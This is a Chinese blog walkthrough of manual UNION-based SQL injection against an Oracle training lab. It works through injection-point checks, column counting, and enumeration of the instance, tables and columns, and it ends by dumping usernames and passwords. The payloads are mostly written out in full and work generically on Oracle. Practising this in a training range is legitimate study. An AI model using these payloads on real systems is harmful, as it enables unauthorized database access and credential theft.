首页 > 数据库 >Oracle手工注入

Oracle手工注入

时间:2024-08-20 20:57:45浏览次数:10  
标签:name 手工 union dual Oracle table id select 注入

1.点击输入框下方的公告,进入到可sql注入界面

2.通过1=1和1=2可以判断注入点

?id=1 and 1=1   //显示正常

?id=1 and 1=2   //显示错误

检测到此处可以进行注入

3.判断列数利用order by

?id=1 order by 2   //显示正常

?id=1 order by 3   //显示错误

所以一共有两列

4. 进行回显点检测,Oracle在这里和MySQL是由区别的

Oracle在进行联合查询时,查询的字段点数据类型敏感,需要使用字符型的字段进行查询

查询语句为:

?id=1 union select 'null','null' from dual   //Oracle查询时必须使用from语句,这里还不知道表名,先用dual伪表进行测试。

这里得到两个回显点位如下

5.查询数据库名

使用语句:

-1 union select 'null',(select instance_name from V$INSTANCE) from dual

这里得到数据库名为XE

6.查询数据库表名

使用语句:

?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual

这里得到第一张表名为LOGMNR_SESSION_EVOLVE$

第二张:?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

这里得到第二张表名为LOGMNR_GLOBAL$

第三张:?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual

这里得到第二张表名为LOGMNR_GT_TAB_INCLUDE$

以此类推,可以得到所有表,但太麻烦,所以 我们直接使用模糊查询like

语句:

?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

直接查询我们想要的user表

7. 查询数据库列名

使用语句:

?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

更改参数得到数据库列名

8.查询数据库数据获取账号密码的字段内容

使用语句:

?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

得到mozhe的用户名和密码

9.将密码解密

得到密码为729533

登录后得到key,进行提交

标签:name,手工,union,dual,Oracle,table,id,select,注入
From: https://blog.csdn.net/qq_65852138/article/details/141366558

相关文章

  • 墨者学院Oracle靶场通关
    首先1判断注入点这⾥通过and1=1和and1=2进⾏判断。发现存在注入点之后我们开始判断字段数id=1orderby2id=1orderby3字段=3页面回显异常 ,说明只存在两个字段接下来我们开始判断回显点id=-1unionselect'null','null'fromdual查完之后我们开始用下面......
  • mvc原理与依赖注入
    <?//模型层:当前页面要显示的数据$pdo=newPDO('mysql:host=localhost;dbname=16','root','3.1415926',[PDO::ATTR_ERRMODE=>PDO::ERRMODE_WARNING]);$users=$pdo->query('SELECT`id`,`gender`,`uname`,`c_time`FROM`user`order......
  • oracle & mysql 驱动程序安装配置
    Install-PackageOracle.ManagedDataAccess-Version12.2.20230118  版本可以安装到19.18Install-PackageMySql.Data-Version8.0.32.1config文件新增内容<system.data>  <DbProviderFactories>    <removeinvariant="MySql.Data.MySqlClient"/>    &......
  • 使用微软Detours库进行DLL注入
    Detours是微软开发的一个强大的WindowsAPI钩子库,用于监视和拦截函数调用。它广泛应用于微软产品团队和众多独立软件开发中,旨在无需修改原始代码的情况下实现函数拦截和修改。本篇文章旨在帮助开发者更好地理解和应用Detours库进行DLL注入操作,从而实现对目标进程的高效控制和管......
  • 学习达梦hint注入笔记
    1.创建表droptabletest;SQL>createtabletest(idint,infovarchar);操作已执行SQL>insertintotestselectlevel,'a'fromdualconnectbylevel<=10000;影响行数10000SQL>createindexidx_test_idontest(id);操作已执行SQL>stat100ontest(id......
  • 【Oracle】存储过程临时存储键值对
    【Oracle】存储过程临时存储键值对通常可以使用pl/sql表(也称为索引表或关联数组)来存储这些键值对,即typekey_value_tableistableofvarchar2(100)indexbyvarchar2(100)示例:createorreplaceprocedurestore_key_value_pairsis--定义一个pl/sql表来存储键值对......
  • 修改Oracle字符集为ZHS16GBK
    修改Oracle字符集为ZHS16GBK1、登录DBA用户 #登录dba用户sqlplus/nologSQL>connectsys/oracleassysdba2、查看当前字符集 #查看当前字符集SELECT*FROMV$NLS_PARAMETERSWHEREPARAMETER='NLS_CHARACTERSET';SELECTUSERENV('language')FROMDUAL;3、......
  • ASSESS手工注入(附搭建教程)
    ASSESS搭建文章顶部有靶场搭建环境1.将环境压缩包放入wwwroot更目录下 2.进入网页访问自己IP就可以访问到自己搭建的靶场了 如下图所示  ASSESS手工注入一.判断注入点http://172.16.1.49/custom.asp?id=1and1=1http://172.16.1.49/custom.asp?id=1%20and%201=1......
  • Oracle RAC 集群启动顺序 转发:https://www.modb.pro/db/1824295923545612288?utm_s
    前言前几天使用脚本在RockyLinux9.4安装Oracle11GR2RAC,安装完之后发现集群无法正常启动,后经过分析发现原来是因为RHEL9版本默认安装移除了 initscripts 软件包,需要人为手动安装,在RHEL8之前是默认安装的。在分析问题的过程中,顺便对OracleRAC集群启动顺序进行了更......
  • 【第66课】Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入
    免责声明本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。文中所涉......